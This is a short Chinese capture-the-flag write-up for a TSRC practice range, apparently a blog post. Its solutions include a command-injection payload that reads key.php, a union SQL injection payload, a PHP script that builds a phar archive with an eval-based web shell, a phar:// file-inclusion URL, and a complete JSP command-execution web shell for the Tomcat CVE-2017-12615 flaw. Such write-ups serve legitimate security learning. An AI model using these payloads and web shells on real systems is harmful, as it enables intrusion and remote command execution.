TSRC靶场赛-writeup

签到

文件上传JS验证,抓包or禁用JS

命令执行基础

啥都没过滤

payload:127.0.0.1|cat ../key.php

你能爆破吗

根据hint,爆破得到用户名admin、密码admin
再根据hint的cookie注入,继续判断字段、爆库、爆表、爆字段,得到flag
中间需要base64编码

成绩查询

union注入,同上

payload:-1' union select 1,2,3,flag from fl4g# 

文件包含GetShell

文件上传点只能上传txt,再根据hint文件包含phar,就知道又是很简单的一个题目了,上传一个有后门的phar文件,扩展名改成.txt,然后phar文件包含就好了,连接,得到flag

生成phar文件
<?php
    $p = new Phar("my.phar", 0, 'my.phar');
	$p->startBuffering();
	$p['shell.php'] = '<?php phpinfo(); eval($_POST[x]); ?>';
	$p->setStub("<?php
    	Phar::mapPhar('myphar.phar'); 
		__HALT_COMPILER();");
 	$p->stopBuffering();
?>
payload:http://dd5ae31d.yunyansec.com/lfi.php?file=phar://files/JSWOJf0mA0u3Aiyd.txt/shell

小猫咪踩灯泡

根据hint的tomcat远程代码执行(CVE-2017-12615),百度得到了exp,照葫芦画瓢

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c) {
StringBuilder line = new StringBuilder();
	try {
	Process pro = Runtime.getRuntime().exec(c);
	BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
	String temp = null;
	while ((temp = buf.readLine()) != null) {
	line.append(temp+"\\n");}buf.close();
	} catch (Exception e) {
	line.append(e.getMessage());
	}return line.toString();
}%>
<%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){
	out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
}else{
	out.println(":-)");
}%>
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值